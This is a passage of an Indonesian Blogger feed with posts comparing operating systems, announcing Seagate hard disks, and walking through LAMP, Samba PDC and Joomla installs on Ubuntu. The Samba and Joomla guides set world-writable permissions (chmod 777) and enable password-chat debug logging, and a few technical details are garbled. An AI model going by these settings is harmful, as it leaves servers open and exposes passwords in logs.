hitam masa lalu, mari kita terjun ke 4 zona tempat terjadinya pertempuran sengit ini.&lt;br /&gt;&lt;br /&gt;Gambar :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Di zona keamanan berinternet, ternyata windows XP dan Vista menjadi sasaran utama serangan para hacker dunia, namun walaupun demikian XP dan Vista ternyata mampu membendung serangan tersebut dengan baik lewat firewall yang otomatis berjalan ketika mulai dijalankan. Namun ternyata para hacker tidak kalah ide, mereka menyerang lewat celah Internet Explorer 7 yang memang telah terbukti memiliki banyak kelemahan, walaupun Windows senantiasa menutupi celah-celah keamanan tersebut lewat update yang tiap 18 hari namun keadaan ini cukup membahayakan. Untuk mengatasinya, warga dunia disarankan untuk senantiasa mengupdate internet explorer atau memakai browser yang terbukti lebih aman yakni: Safari dan Firefox. Akibat serangan ini, di zona keamanan berinternet, windows XP harus merelakan 2 istana yang dijaganya terebut oleh para hacker, sedangkan windows Vista dengan penjagaan pintu gerbang yang ketat hanya kehilangan 1 istana di zona ini. Linux dan MacOS di zona ini boleh agak berlega hati karena tidak begitu dilirik untuk diserang oleh para hacker sehingga kelima istana yang mereka jaga tetap aman. Di zona ini Linux dan MacOS unggul.&lt;br /&gt;&lt;br /&gt;Peperangan di zona keamanan PC, mengungkap banyak fakta akan kelemahan beberapa pasukan Sistem Operasi. Pasukan Windows XP, Vista dan Linux Ubuntu ternyata lemah terhadap penjagaan pintu login berpassword. Hanya dengan sebuah CD darurat, password pintu login WIndows XP, Vista dan Linux dapat dibobol. Begitu juga pasukan MacOS ternyata lemah pada masalah ini, hanya cukup dengan menekan kombinasi tombol [Apple] + [S] pada saat boot , data pada PC dapat diakses oleh setiap orang. Hal ini menyebabkan masing-masing pasukan kehilangan 1 istana. Istana yang lain, di wilayah enkripsi data keempat pasukan Sistem Operasi ternyata memiliki sistem enkripsi folder yang mudah dioperasikan. MacOS menggunakan FileVault, Linux dengan TrusCrypt dan Windows XP/Vista dengan sistem Encrypted File System (EFS). Namun dari semua itu ternyata Windows Vista lebih unggul karena dapat melindungi lebih baik, dimana seluruh harddisk dapat dienkripsi hanya dengan beberapa kali klik. Vista berhasil mempertahankan istananya sedangkan yang lain harus kehilangan istana setelah pertempuran yang sangat hebat dalam waktu yang lama. Selanjutnya, di istana terjadinya backup data pertempuran juga tidak kalah sengit. MacOS unggul dalam wilayah ini dengan sistem Time Machine nya. Windows XP melakukan backup dengan 2 tahap lewat System Restore, namun Windows Vista yang juga memiliki system restore dengan tambahan Salinan Data Bayangan seharusnya mampu lebih baik namun karena salah satu anggota pasukannya yakni Windows Vista versi Home tidak dilengkapi dengan layanan ini, mengakibatkan windows Vista harus rela kehilangan istana backup. Pasukan Linux justru lebih parah lagi, dengan sistem backup gratisan yang terlalu banyak dan tidak jelas mengakibatkan Pasukan ini lemah dan juga harus kehilangan istananya. Di zona keamanan PC ini MacOS dan XP unggul.&lt;br /&gt;&lt;br /&gt;Di Zona Pengoperasian, terdapat 3 istana yang harus dijaga yakni Pencarian File, Instalasi Software dan File-Manager. Pada pencarian File, windows XP ternyata tidak tampil mengesankan. MacOS dengan sistem pencarian Spotlight terbukti mampu melakukan pencarian file secara kilat yang juga ditiru oleh Linux dan Windows Vista. Sedangkan untuk kemampuan seperti itu, windows XP harus memiliki tools tambahan. Dalam instalasi software, kecanggihan windows xp dan vista dalam menginstal sebuah software yang didownload ataupun dibeli serta murahnya biaya yang dikeluarkan untuk menginstal program gratis lewat Packet Manager yang dimiliki Linux, ternyata tak mampu menandingi kehebatan instalasi tradisional di MacOS. Lho kok instalasi tradisional lebih hebat dari yang canggih? Yup.. instalasi tradisional MacOS dimana kita harus mengekstrak paket-paket software dana bentuk Zip lalu meletakkannya di dalam menu ternyata memiliki kelebihan pada saat kita membuang software. Di MacOS, kita tidak memerlukan uninstaller dan jika kita membuang program hanya cukup dengan menghapus foldernya saja tanpa kuatir akan ada sisa pada sistem registry. Di istana pengelolaan File Manager, windows XP tampil buruk karena tidak mampu menampilkan preview isi file seperti halnya yang terdapat pada Windows Vista, Linux dan MacOs. Di zona pengoperasian ini windows XP harus menjadi pecundang.&lt;br /&gt;&lt;br /&gt;Di zona terakhir yakni Zona Driver (bukan sopir lho.. melainkan software pengenal hardware), pasukan dari kubu windows menunjukkan kemampuannya dalam membaca lebih hardware. Windows XP mampu membaca 10.000 hardware sedangkan windows Vista dua kali lebih banyak. Walaupun Linux dikembangkan oleh banyak orang, namun ternyata lemah dalam masalah Driver ini karena driver yang tersedia tidak menyeluruh. Sedangkan MacOS justru memiliki sedikit driver karena lebih menyerahkan masalah driver ini kepada pengembang komersil dengan filosofi bahwa Is Okay mengeluarkan uang lebih banyak asalkan dapat berfungsi tanpa masalah.&lt;br /&gt;&lt;br /&gt;Dari peperangan di atas dapat kita sumpulkan bahwa MacOS merupakan pasukan terbaik pertama dengan desain yang elegan dan sistem yang aman namun memiliki kelemahan pada pilihan hardware dan softwarenya. Di tempat kedua diduduki oleh Windows Vista dengan keamanan yang lebih baik walaupun kita harus membeli ulang banyak software jika ingin optimal. Linux menduduki posisi ketiga karena tingkat keamanannya yang tinggi namun berhubung banyaknya pengembang sistem operasi ini mengakibatkan penggunaannya masih terlalu rumit. Windows XP harus rela menduduki posisi terakhir, karena walaupun dengan service pack 2, windows XP masih belum sepenuhnya aman.&lt;br /&gt;&lt;br /&gt;Jadi pasukan Sistem Operasi mana yang dipilih ? semua kembali pada kebutuhan dan tentunya dana yang kita miliki.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-8912625588509776872?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/8912625588509776872/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=8912625588509776872' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/8912625588509776872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/8912625588509776872'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2009/01/windows-xp-vista-mac-os-dan-linux.html' title='&lt;blink&gt;Kelebihan Windows dibanding sistem operasi lain&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_CczHtaVjTBU/SWP1f3f91AI/AAAAAAAAABk/x412byFLKUg/s72-c/images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-2671141300072667589</id><published>2009-01-06T07:53:00.001+07:00</published><updated>2009-01-08T12:57:59.690+07:00</updated><title type='text'>HARD DISK</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CczHtaVjTBU/SWWVzJ-MwMI/AAAAAAAAAB0/iau7wiCTTYg/s1600-h/hddfull2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_CczHtaVjTBU/SWWVzJ-MwMI/AAAAAAAAAB0/iau7wiCTTYg/s320/hddfull2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288798043499184322" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hard disk 1,5 Tera Pertama di Dunia&lt;br /&gt;Rabu,7 Januari 2009&lt;br /&gt;&lt;br /&gt;Seagate mengeluarkan produk terbaru mereka, hard disk desktop 1.5-terabyte dan notebook 0.5 terabyte pertama di dunia. Produk ini dirancang demi memenuhi permintaan penyimpan konten digital yang terus meningkat dari seluruh dunia untuk penggunaan di rumah dan dunia bisnis.&lt;br /&gt;&lt;br /&gt;Peluncuran dari hard drive Barracuda 7200.11 1.5TB - yang merupakan generasi kesebelas dari drive kebanggan Seagate untuk PC desktop - menandai satu-satunya peningkatan kapasitas hard drive terbesar dalam setengah abad sejarah hard drive – peningkatan 0.5 terabyte dibanding kapasitas tertinggi sebelumnya yaitu 1TB, berkat peningkat kapasitas (capacity-boosting power) dari teknologi perpendicular magnetic recording (PMR).&lt;br /&gt;&lt;br /&gt;Hard drive Barracuda 7200.11 mengkombinasikan teknologi PMR yang telah terbukti, komponen-komponen dan para pakar pabrikan hard drive untuk menghasilkan penyimpan data handal sebesar 1.5TB untuk jenis komputer desktop pada umumnya, desktop RAID, gaming dan PC yang termutakhir, serta penyimpan data eksternal seperti USB/FireWire/eSATA.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Drive 2.5-inch berkapasitas 0,5 terabyte terbaru dari Seagate yaitu drive 5400- dan 7200-rpm – yakni Momentus 5400.6 dan Momentus 7200.4 – memberikan kombinasi terbaik dari kapasitas, mobilitas dan kehandalan untuk penggunaan pada notebook/laptop standar dan yang berkualitas tinggi, solusi penyimpanan data eksternal, PC serta aplikasi-aplikasi industri yang membutuhkan penyimpan data dalam ukuran kecil.&lt;br /&gt;Menyoroti perkembangan global akan konten digital, Seagate berharap untuk dapat menjual hard drive ke-dua-milyar mereka dalam kurun waktu lima tahun ke depan. Pada awal tahun ini, Seagate telah berhasil menjual hard drive ke-satu-milyarnya semenjak perusahaan pertama kali berdiri hampir 30 tahun yang lalu.&lt;br /&gt;&lt;br /&gt;Hard drive Momentus 5400.6 dan Momentus 7200.4 merupakan generasi keempat dari seri penyimpan data untuk laptop dari Seagate yang menggunakan PMR. Momentus 5400.6 adalah sebuah drive dengan 5400-rpm yang memadukan sebuah seri ATA ber-antarmuka 3Gb/detik yang kuat dengan kapasitas yang berkisar antara 120 GB sampai 500 GB dengan cache 8MB.&lt;br /&gt;&lt;br /&gt;Kedua drive Momentus tersebut dibangun dengan cukup kuat untuk bertahan sampai 1.000 Gigabyte dalam pengoperasian tanpa goncangan dan 350 Gigabyte dalam pengoperasian dengan goncangan untuk melindungi drive data, sehingga membuat drive tersebut sangat ideal untuk sistem-sistem yang sulit ditangani atau dalam lingkungan dengan tingkat getaran yang tinggi. Untuk meningkatkan kehandalan pada lingkungan yang berubah-ubah, Momentus 5400.6 dan 7200.4 ditawarkan lengkap dengan perlindungan G-Force, yakni sebuah teknologi sensor bantingan yang membantu mencegah kerusakan pada drive dan kehilangan data akibat terjatuhnya laptop. Sensor ini bekerja dengan cara mendeteksi segala bentuk perubahan pada akselerasi yang sepadan dengan kekuatan gavitasi dan menjauhkan bagian depan dari disc untuk mencegah terjadinya kontak dengan bagian dasar ketika terjadi kejatuhan dengan jarak hanya 8 inci dalam 3/10 detik.&lt;br /&gt;&lt;br /&gt;Drive Momentus terbaru milik Seagate ini memiliki konsumsi kekuatan yang rendah, sehingga memungkinkan para pengguna notebook dapat bekerja lebih lama dalam proese pengisian batere, dan berkat inovasi fluit-dynamic SoftSonic™ yang menjaga mesin dan QuietStep™ dari Seagate, suaranya pun sampai tidak terdengar.&lt;br /&gt;&lt;br /&gt;Hard drive Barracuda 7200.11 mengkombinasikan kapasitas dan kecepatan yang sangat dibutuhkan oleh aplikasi-aplikasi desktop PC yang paling rewel saat ini. Drive ini membungkus kapasitas 1.5TB hanya dengan 4 piringan dan antarmuka seri ATA 3Gb/detik yang sangat cepat milik drive ini, memberikan kecepatan data hingga 120MB/detik seperti yang menjadi standar terdepan dari industri untuk melakukan boot dengan cepat, aplikasi start up dan akses file. Drive 3.5-inci ini juga menawarkan beragam kapasitas selain 1,5TB terbaru, yaitu 1TB, 750GB, 640GB, 500GB, 320GB, dan 160GB dengan pilihan cache 32MB dan 16MB.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-2671141300072667589?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/2671141300072667589/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=2671141300072667589' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2671141300072667589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2671141300072667589'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2009/01/hard-disk-15-tera-pertama-di-dunia.html' title='&lt;blink&gt;HARD DISK&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_CczHtaVjTBU/SWWVzJ-MwMI/AAAAAAAAAB0/iau7wiCTTYg/s72-c/hddfull2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-7199115836330322165</id><published>2008-10-30T08:45:00.002+07:00</published><updated>2008-10-30T08:48:08.321+07:00</updated><title type='text'>Instalasi LAMP di Ubuntu</title><content type='html'>Cara instalasi Lamp server Ubuntu pertama&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;- Siapkan CD ubuntu 7.04 server&lt;br /&gt;KEDUA:&lt;br /&gt;Pilih Bahasa yang akan digunakan&lt;br /&gt;KETIGA :&lt;br /&gt;Pilih Lokasi bahasa yang akan digunakan&lt;br /&gt;KEEMPAT :&lt;br /&gt;Jika anda ingin mendeteksi keyboard maka pilih yes, tetapi jika tidak pilih no saja&lt;br /&gt;&lt;br /&gt;KELIMA:&lt;br /&gt;Pilih Origin keyboard kemudian tekan “enter”&lt;br /&gt;&lt;br /&gt;KE ENAM :&lt;br /&gt;Pilih loyoutkeyboard keudian tekan “enter”&lt;br /&gt;KE TUJUH ;&lt;br /&gt;Mendeteksi perangkat keras cd-rom&lt;br /&gt;KE DELAPAN;&lt;br /&gt;Masukan hosaname untuk system sebagai contohnya “ubuntulamp”&lt;br /&gt;KE SEMBILAN;&lt;br /&gt;menditeksi file-file system&lt;br /&gt;SEPULUH ;&lt;br /&gt;Ada tiga pilihan&lt;br /&gt;-Pertama “guided - use entire disk” yaitu menggunakan seluruh kapasitas hdd&lt;br /&gt;- Kedua ” guided -use enteri disk and set up LVM” yait menggunakan seluruh&lt;br /&gt;kapasitas hdd sekaligus setup LVM nya&lt;br /&gt;- Ketiga “manual” yaitu menggunakan partisi manual&lt;br /&gt;!perhatian seluruh data akan dihapus&lt;br /&gt;&lt;br /&gt;SEBELAS ;&lt;br /&gt;Memulai pebuatan Partisi “yes”&lt;br /&gt;DUABELAS;&lt;br /&gt;Configurasi waktu jika sesuai utcpilih yes, jika tidak pilih no&lt;br /&gt;TIGABELAS ;&lt;br /&gt;Anda perlu untuk mengisi fullname untuk pengguna sebagai contohnya “administrator” kemudian tekan “enter”&lt;br /&gt;username untuk Account&lt;br /&gt;kemudian kata Sandi&lt;br /&gt;Confirmasi kata sandi kembali&lt;br /&gt;Installasi system base&lt;br /&gt;EMPAT BELAS ;&lt;br /&gt;Pilih Lamp server karena kita akan melakukan installasi lamp server&lt;br /&gt;!installasi software&lt;br /&gt;Installasi GRUB boot&lt;br /&gt;Installasi telah selesai dan berjalan dengan lancar untuk melnjutkan pilih “Continue”&lt;br /&gt;Setelah restart kemudian anda login dengan username yang anda buat tadi&lt;br /&gt;Itu tadi adalah cara installasi Lamp server di Ubuntu 7.04 semoga bermanfaat&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-7199115836330322165?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/7199115836330322165/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=7199115836330322165' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/7199115836330322165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/7199115836330322165'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/instalasi-lamp-di-ubuntu.html' title='&lt;blink&gt;Instalasi LAMP di Ubuntu&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-4439500038114780522</id><published>2008-10-28T12:29:00.003+07:00</published><updated>2008-10-28T12:33:53.487+07:00</updated><title type='text'>Mengkonfigurasi Samba Server</title><content type='html'>mengkonfigurasi Samba Server Sebagai PDC :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1. pertama dowload program samba dan accesorisnya :&lt;br /&gt;&lt;br /&gt;apt-get install samba samba-common samba-doc libcupsys2-gnutls10 libkrb53 winbind smbclient&lt;br /&gt;&lt;br /&gt;2. Konfigurasi /etc/samba/smb.conf sebagai berikut :&lt;br /&gt;&lt;br /&gt;[global]&lt;br /&gt;workgroup = ubuntudk.com --&gt; ubah sesuain yang kita mau&lt;br /&gt;netbios name = ubuntuserver --&gt; ubah sesuain yang kita mau&lt;br /&gt;server string = %h server (Samba, Ubuntu) --&gt; ubah sesuain yang kita mau&lt;br /&gt;passdb backend = tdbsam&lt;br /&gt;security = user&lt;br /&gt;username map = /etc/samba/smbusers&lt;br /&gt;name resolve order = wins bcast hosts&lt;br /&gt;domain logons = yes&lt;br /&gt;preferred master = yes&lt;br /&gt;wins support = yes&lt;br /&gt;&lt;br /&gt;# Useradd scripts&lt;br /&gt;add user script = /usr/sbin/useradd -m %u&lt;br /&gt;delete user script = /usr/sbin/userdel -r %u&lt;br /&gt;add group script = /usr/sbin/groupadd %g&lt;br /&gt;delete group script = /usr/sbin/groupdel %g&lt;br /&gt;add user to group script = /usr/sbin/usermod -G %g %u&lt;br /&gt;add machine script = /usr/sbin/useradd -s /bin/false/ -d /var/lib/nobody %u&lt;br /&gt;idmap uid = 15000-20000&lt;br /&gt;idmap gid = 15000-20000&lt;br /&gt;&lt;br /&gt;# sync smb passwords woth linux passwords&lt;br /&gt;passwd program = /usr/bin/passwd %u&lt;br /&gt;passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n .&lt;br /&gt;passwd chat debug = yes&lt;br /&gt;unix password sync = yes&lt;br /&gt;&lt;br /&gt;# set the loglevel&lt;br /&gt;log level = 3&lt;br /&gt;&lt;br /&gt;[homes]&lt;br /&gt;comment = Home&lt;br /&gt;valid users = %S&lt;br /&gt;read only = no&lt;br /&gt;browsable = no&lt;br /&gt;&lt;br /&gt;[netlogon]&lt;br /&gt;comment = Network Logon Service&lt;br /&gt;path = /home/samba/netlogon&lt;br /&gt;admin users = Administrator&lt;br /&gt;valid users = %U&lt;br /&gt;read only = no&lt;br /&gt;&lt;br /&gt;[profile]&lt;br /&gt;comment = User profiles&lt;br /&gt;path = /home/samba/profiles&lt;br /&gt;valid users = %U&lt;br /&gt;create mode = 0600&lt;br /&gt;directory mode = 0700&lt;br /&gt;writable = yes&lt;br /&gt;browsable = no&lt;br /&gt;&lt;br /&gt;3. Buat beberapa direktori berikut sebagai domain logon dan profile :&lt;br /&gt;&lt;br /&gt;mkdir /home/samba&lt;br /&gt;mkdir /home/samba/netlogon&lt;br /&gt;mkdir /home/samba/profiles&lt;br /&gt;mkdir /var/spool/samba&lt;br /&gt;chmod 777 /var/spool/samba/&lt;br /&gt;chown -R root:users /home/samba/&lt;br /&gt;chmod -R 771 /home/samba/&lt;br /&gt;&lt;br /&gt;4. Lalu restart samba&lt;br /&gt;&lt;br /&gt;/etc/init.d/samba restart&lt;br /&gt;&lt;br /&gt;5. Ubah pada bagian /etc/nsswitch.conf, pada baris :&lt;br /&gt;&lt;br /&gt;hosts: files dns&lt;br /&gt;menjadi :&lt;br /&gt;hosts: files wins dns&lt;br /&gt;&lt;br /&gt;6. tambahkan beberapa pc clinet pada /etc/hosts :&lt;br /&gt;&lt;br /&gt;127.0.0.1 localhost&lt;br /&gt;192.168.0.136 ubuntuserver.dk.co.id ubuntuserver.dk.co.id&lt;br /&gt;192.168.0.131 ciko&lt;br /&gt;192.168.0.133 dian&lt;br /&gt;192.168.0.135 gustin&lt;br /&gt;&lt;br /&gt;7. Tambahkan user root kedalam user samba :&lt;br /&gt;&lt;br /&gt;smbpasswd -a root&lt;br /&gt;New SMB password:&lt;br /&gt;Retype new SMB password:&lt;br /&gt;&lt;br /&gt;8. buat file /etc/samba/smbusers lalu jalankan :&lt;br /&gt;&lt;br /&gt;echo "root = Administrator" &gt; /etc/samba/smbusers&lt;br /&gt;&lt;br /&gt;mengartikan bahwa user root = user administrator pada windows&lt;br /&gt;&lt;br /&gt;9. Test drive, apakah settingan kita dah benar :&lt;br /&gt;&lt;br /&gt;smbclient -L localhost -U%&lt;br /&gt;&lt;br /&gt;akan menghasilkan output :&lt;br /&gt;&lt;br /&gt;Domain=[UBUNTUDK.COM] OS=[Unix] Server=[Samba 3.0.22]&lt;br /&gt;&lt;br /&gt;Sharename Type Comment&lt;br /&gt;--------- ---- -------&lt;br /&gt;netlogon Disk Network Logon Service&lt;br /&gt;allusers Disk All Users&lt;br /&gt;IPC$ IPC IPC Service (ubuntuserver server (Samba, Ubuntu))&lt;br /&gt;ADMIN$ IPC IPC Service (ubuntuserver server (Samba, Ubuntu))&lt;br /&gt;Domain=[UBUNTUDK.COM] OS=[Unix] Server=[Samba 3.0.22]&lt;br /&gt;&lt;br /&gt;Server Comment&lt;br /&gt;--------- -------&lt;br /&gt;UBUNTUSERVER ubuntuserver server (Samba, Ubuntu)&lt;br /&gt;&lt;br /&gt;Workgroup Master&lt;br /&gt;--------- -------&lt;br /&gt;UBUNTUDK.COM UBUNTUSERVER&lt;br /&gt;&lt;br /&gt;10. lalu kita setup domain group untuk windows, jalankan perintah :&lt;br /&gt;&lt;br /&gt;net groupmap modify ntgroup="Domain Admins" unixgroup=root&lt;br /&gt;net groupmap modify ntgroup="Domain Users" unixgroup=users&lt;br /&gt;net groupmap modify ntgroup="Domain Guests" unixgroup=nogroup&lt;br /&gt;&lt;br /&gt;11. tambah user linux dan user samba dengan cara :&lt;br /&gt;user linux :&lt;br /&gt;&lt;br /&gt;useradd ciko -m -G users&lt;br /&gt;&lt;br /&gt;user samba :&lt;br /&gt;&lt;br /&gt;smbpasswd -a ciko&lt;br /&gt;&lt;br /&gt;12. Sekarang tambahan direktori share yang akan dipakai oleh seluruh user :&lt;br /&gt;&lt;br /&gt;mkdir -p /home/shares/allusers&lt;br /&gt;chown -R root:users /home/shares/allusers/&lt;br /&gt;chmod -R ug+rwx,o+rx-w /home/shares/allusers/&lt;br /&gt;&lt;br /&gt;13. Ubah juga pada /etc/samba/smb.conf, tambahkan baris berikut :&lt;br /&gt;&lt;br /&gt;[allusers]&lt;br /&gt;comment = All Users&lt;br /&gt;path = /home/shares/allusers&lt;br /&gt;valid users = @users&lt;br /&gt;force group = users&lt;br /&gt;create mask = 0660&lt;br /&gt;directory mask = 0771&lt;br /&gt;writable = yes&lt;br /&gt;&lt;br /&gt;14. lalu restart samba kembali :&lt;br /&gt;&lt;br /&gt;/etc/init.d/samba restart&lt;br /&gt;&lt;br /&gt;15. Langkah Yang terakhir dalah dengan menjoinkan mesin windows ke pdc linux kita, dengan cara : ( Testing Dengan Windows XP )&lt;br /&gt;- click kanan pada mycomputer&lt;br /&gt;- pilih computer name lalu change&lt;br /&gt;- masukan domain PDC pada bagisn domain&lt;br /&gt;- akan muncul windows yang meminta memasukan user dan password, pada langkah ini masukan user root dan password samba untuk user root&lt;br /&gt;- OK&lt;br /&gt;- Akan muncul bahwa kita sukses menjoinkan mesin windows ke PDC linux&lt;br /&gt;&lt;br /&gt;Nb :&lt;br /&gt;Ubuntu Server 6.06&lt;br /&gt;Windows Xp SP2 ( Client )&lt;br /&gt;&lt;br /&gt;Referensi :&lt;br /&gt;http://howtoforge.com/&lt;br /&gt;http://ariya.pandu.org/linux/feature/pdc/pdc.htm&lt;br /&gt;&lt;br /&gt;Selamat Mencoba&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-4439500038114780522?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/4439500038114780522/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=4439500038114780522' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/4439500038114780522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/4439500038114780522'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/mengkonfigurasi-samba-server.html' title='&lt;blink&gt;Mengkonfigurasi Samba Server&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-5931901344282773697</id><published>2008-10-27T14:35:00.002+07:00</published><updated>2008-10-27T14:38:33.864+07:00</updated><title type='text'>Install Joomla di Ubuntu</title><content type='html'>berikut adalah step by step instalasi joomla 1.5.2 di ubuntu 7.10 / edubuntu 7.10&lt;br /&gt;instalasi LAMP&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;system &gt; administration &gt; sypnatic package manajer &gt; edit &gt; mark packages by task... &gt; tandai LAMP server &gt; ok &gt; apply&lt;br /&gt;&lt;br /&gt;berhasil install LAMP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;masuk ke terminal&lt;br /&gt;&lt;br /&gt;ubuntu@ubuntu:~$ su (masuk sebagai root)&lt;br /&gt;&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;root@ubuntu:/home/ubuntu# cd /var/www&lt;br /&gt;&lt;br /&gt;root@ubuntu:/var/www# mkdir backtrack&lt;br /&gt;&lt;br /&gt;root@ubuntu:/home/ubuntu/Desktop# tar -xzvf Joomla_1.5.2-Stable-Full_Package.tar.gz -C /var/www/backtrack (file download joomla 1.5.2 saya taruh di /Desktop)&lt;br /&gt;&lt;br /&gt;root@ubuntu:/var/www# chmod 777 -R backtrack (untuk memberi hak akses)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;buka browser (MFF): http://localhost/backtrack/installation/index.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;installation joomla&lt;br /&gt;&lt;br /&gt;1 : Language&lt;br /&gt;&lt;br /&gt;2 : Pre-installation Check&lt;br /&gt;&lt;br /&gt;3 : License&lt;br /&gt;&lt;br /&gt;4 : Database&lt;br /&gt;&lt;br /&gt;5 : FTP Configuration&lt;br /&gt;&lt;br /&gt;6 : Configuration&lt;br /&gt;&lt;br /&gt;7 : Finish&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;di terminal&lt;br /&gt;&lt;br /&gt;root@ubuntu:/var/www# cd backtrack&lt;br /&gt;&lt;br /&gt;root@ubuntu:/var/www/backtrack# rm -r installation/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-5931901344282773697?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/5931901344282773697/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=5931901344282773697' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/5931901344282773697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/5931901344282773697'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2008/10/install-joomla-di-ubuntu.html' title='&lt;blink&gt;Install Joomla di 